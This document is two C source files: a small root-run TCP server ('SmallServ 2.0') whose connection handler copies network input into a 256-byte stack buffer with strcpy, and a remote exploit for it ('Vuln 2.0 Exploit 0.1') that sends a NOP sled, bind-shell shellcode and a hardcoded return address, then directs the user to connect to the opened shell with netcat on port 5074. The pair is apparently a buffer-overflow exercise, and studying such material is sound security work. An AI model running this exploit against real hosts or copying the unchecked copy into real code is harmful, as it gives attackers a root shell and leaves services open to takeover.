#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <time.h>
 
int sockfd, newsock;
 
void shutup (int signal)
{
	times ();
	printf ("Shutting down...\n\n");
	close (newsock);
	close (sockfd);
	exit (0);
}
 
int times ()
{
	time_t now=time (0);
	struct tm *ahora;
	char buffer [40];
	ahora=localtime ((const time_t*)&now);
	strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
	printf ("%s   ", buffer);
	return 0;
}
 
int handle_conection (char *buffer)
{
	char buff [256];
	strcpy (buff, buffer);
 
	times ();
	buff [strlen (buff)-1]='\0';
	printf ("[0x%08x]: %s\n", &buff, buff);
 
	return 0;
}
 
int main (int argc, char *argv [])
{
	time_t now=time (0);
	struct tm *ahora;
	char hora [40];
	ahora=localtime ((const time_t*)&now);
	strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
	printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
 
	if (getuid()!=0)
	{
		printf ("This proccess must be run by root.\n\n");
		return 1;
	}
	if (argc<2)
	{
		printf ("Use: %s <PORT>\n\n", argv [0]);
		return 1;
	}
	int cont;
	struct sockaddr_in client, host;
	char buffer [1024];
	int size=sizeof (client);
 
	sockfd=socket (2, 1 ,  0);
	host.sin_family=AF_INET;
	host.sin_port=htons (atoi (argv [1]));
	host.sin_addr.s_addr=0;
	bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
 
	listen (sockfd, 3);
 
	times ();
	printf ("Starting up...\n\n");
 
	signal (SIGTERM, shutup);
	signal (SIGINT, shutup);
 
 	while (1)
	{
		newsock=accept (sockfd, (struct sockaddr*)&client, &size);
 
		times ();
		printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
 
		cont=recv (newsock, &buffer, 1024, 0);
		while (cont > 1)
		{
			handle_conection (buffer);
			cont=recv (newsock, &buffer, 1024, 0);
		}
		times ();
		printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
		close (newsock);
	}
	close (sockfd);
	return 0;
}
 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>
 
int main (int argc, char *argv [])
{
	printf ("Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net\n");
	if (argc != 3)
	{
		printf ("!!! Use: %s <target_ip> <port>\n\n", argv [0]);
		return 1;
	}
 
	printf ("Creating socket...\t");
	struct sockaddr_in host; int sockfd;
	host.sin_family = AF_INET;
	host.sin_port = htons (atoi (argv [2]));
	host.sin_addr.s_addr = inet_addr (argv [1]);
	memset (host.sin_zero, 0, 8);
	if ((sockfd=socket (2, 1, 0))==-1)
	{
		printf ("[FAIL]\n\n");
		return 1;
	}
	else	printf ("[OK]\n");
 
	printf ("Conecting target...\t");
	if ((connect (sockfd, (struct sockaddr*)&host, sizeof (host)))==-1)
	{
		printf ("[FAIL]\n\n");
		return 1;
	}
	else	printf ("[OK]\n");
 
	printf ("Creating buffer...\t");
	char nops [168];
	memset (nops, '\x90', 168);
	char shellcode [93] = 	"\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58"
				"\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66"
				"\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a"
				"\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
				"\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
	char ret [6] = 	"\x30\xf8\xff\xbf\x90";
	char command [265];
	strcpy (command, nops);
	strcat (command, shellcode);
	strcat (command, ret);
	printf ("[OK]\n");
 
	printf ("Sending buffer...\t");
	if (send (sockfd, &command, strlen (command), 0)==-1)
	{
		printf ("[FAIL]\n\n");
		return 1;
	}
	else	printf ("[OK]\n\n");
 
	FILE *fp = fopen ("a.txt", "w+");
	fprintf (fp, "%s", command);
	fclose (fp);
 
	printf ("Now you can exec NC [nc -vv localhost 5074]\nBe good!\n\n");
	return 0;
}